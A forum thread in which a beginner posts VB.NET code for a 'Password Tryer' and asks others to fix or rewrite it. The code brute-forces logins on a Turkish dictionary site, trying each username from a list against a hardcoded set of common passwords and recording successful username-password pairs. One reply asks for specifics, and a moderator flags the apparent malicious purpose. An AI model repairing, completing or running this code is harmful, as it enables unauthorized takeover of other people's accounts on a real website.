Question Password Tryer

[malakcan11]

could you check my codes please ? I tried to make an application but i was failed. actually i am beginner i tried to fix it but i couldn't. please help me

imports system.net
imports system.text
imports system.io
imports system.io.compression
public class form1
private enum ensonuc as integer
bilinmeyen
hata
bilgileryanlis
pasifhesap
ok
end enum
private function paroladene(byval kullaniciadi as string, byval parola as string) as string
try
dim request as httpwebrequest = directcast(httpwebrequest.create(" http://inci.sozlukspot.co...?sa=login&ne=yap" ; ), httpwebrequest)
request.method = "post"
'header
request.headers.set(httprequestheader.cachecontrol, "max-age=0")
request.headers.set(httprequestheader.acceptencoding, "gzip,deflate,sdch")
request.headers.set(httprequestheader.acceptlanguage, "tr-tr,tr;q=0.8,en-us;q=0.6,en;q=0.4")
request.headers.set(httprequestheader.acceptcharset, "iso-8859-9,utf-8;q=0.7,*;q=0.3")
request.headers.set(httprequestheader.keepalive, "115")
'request.headers.add(httprequestheader.cookie, "punteriz501=1203171239155859; __utma=234091164.1349052927.1332282197.1332282197.1332282197.1; __utmz=234091164.1332282197.1.1.utmcsr=nick.sozlukspot.com|utmccn=(referral)|utmcmd=referral|utmcct=/; phpsessid=i4pd8qa1o39qe8a55oe0pdoct7; __utma=219835209.1507734882.1331980658.1332347063.1332354774.9; __utmb=219835209.33.10.1332354774; __utmc=219835209; __utmz=219835209.1331980658.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)")

request.contenttype = "application/x-www-form-urlencoded"
request.referer = " http://inci.sozlukspot.co...s_index.php?ne=login" ;
request.useragent = "mozilla/5.0 (windows nt 6.1; wow64) applewebkit/535.11 (khtml, like gecko) chrome/17.0.963.79 safari/535.11"
request.accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
'post data
dim postdata as string = string.format("kuladi={0}&sifre={1}&gonder=++++login++++&alme=77", kullaniciadi.replace(" ", "+"), parola.replace(" ", "+"))
dim bytearray() as byte = encoding.utf8.getbytes(postdata)
request.contentlength = bytearray.count

dim datastream as stream = request.getrequeststream()
datastream.write(bytearray, 0, bytearray.length)
datastream.close()
'response oku
dim response as httpwebresponse = request.getresponse()
dim statusstr as string = response.statusdescription

datastream = response.getresponsestream()
if response.contentencoding.tolower.contains("gzip") then
datastream = new gzipstream(datastream, compressionmode.decompress)
elseif response.contentencoding.tolower.contains("deflate") then
datastream = new deflatestream(datastream, compressionmode.decompress)
end if

dim reader as new streamreader(datastream)
dim responsestr as string = reader.readtoend()
'temizle
reader.close()
datastream.close()
response.close()
'ok
return responsestr
catch ex as exception
return ""
end try
end function
private function islemsonucu(byval d as string) as ensonuc
if d = "" then
return ensonuc.hata
elseif d.contains("sözlük açılsın") then
return ensonuc.ok
elseif d.contains("kullanıcı adı veya şifreni hatalı") then
return ensonuc.bilgileryanlis
elseif d.contains("üyeliğin henüz aktifleştirilmemiş") then
return ensonuc.pasifhesap
else
return ensonuc.bilinmeyen
end if
end function

private sub cmdene_click(byval sender as system.object, byval e as system.eventargs) handles cmdene.click
dim passlist() as string = {"{0}", "123456", "234567", "345678", "456789", "567890", "678901", "789012", "890123", "901234", "123456789", "19031903", "19051905", "19071907", "19821982"}
'listeyi al
dim l() as string = txkullist.text.split(vbnewline)
for i as integer = 0 to l.length - 1
l(i) = l(i).trim
if l(i).contains("-") then
l(i) = l(i).substring(0, l(i).indexof("-")).trim
end if
next
'tara
dim topdeneme, tophata as integer
dim selpass, rethtml as string
dim retsonuc as ensonuc

for i as integer = 1326 to l.length - 1
'bilgi1
lbkullanicipos.text = i & " / " & l.length - 1 & " deneniyor"
txuser.text = l(i)
application.doevents()
'denemeler
for j as integer = 0 to passlist.length - 1
selpass = string.format(passlist(j), l(i))
rethtml = paroladene(l(i), selpass)
retsonuc = islemsonucu(rethtml)
'bilgiler
topdeneme += 1
if retsonuc = ensonuc.hata then tophata += 1
lbtoplamdeneme.text = "toplam deneme : " & topdeneme
lbhata.text = "toplam hata : " & tophata
txpass.text = selpass
application.doevents()
'yorumla
select case retsonuc
case ensonuc.ok
txbuluk.text &= vbnewline & l(i) & " - " & selpass & " - pos " & i
'msgbox("başarılı * )", 64)
'return
case ensonuc.bilinmeyen
msgbox("bilinmeyen durum", 16)
txretval.text = rethtml
return
case ensonuc.pasifhesap
exit for
end select
next
next
'ok
msgbox("tamamlandı", 64)
end sub
end class

 

[IanRyder]

Hi,

What would you like us to check your code for? Are you getting an error that you do not understand? If so, then you need to specifically explain what the error is and where you are getting it so that we can help you better since I doubt that anyone is going to read all that code on Christmas morning.

Hope that helps and Merry Christmas.

Cheers,

Ian

 

[malakcan11]

Actually there are a lot of problems maybe somebody write these codes on vb.net and fix all problems because it's so important for me and i think it is not difficult for experts like you

 

[jmcilhinney]

So, you would like us to read some code that doesn't actually do what it's supposed to do and work out from that what it is a supposed to do and then rewrite it for you, correct? Would you like fries with that?

Firstly, the title of your thread suggest that this application has a malicious purpose. If you cannot provide an explanation as to why that is not the case then this thread will be closed. Also, if this application is legitimate, please provide a FULL and CLEAR explanation of exactly what you're trying to achieve, exactly where the behaviour of the code doesn't match your expectations and exactly how it doesn't match your expectations. That would include any error messages generated at design time or run time. You should concentrate on one issue at a time though. Finally, if you're going to post code snippets then please copy it as plain text directly from the IDE and paste it between formatting tags so that it is comfortably readable, i.e. [xcode=vb]your code here[/xcode]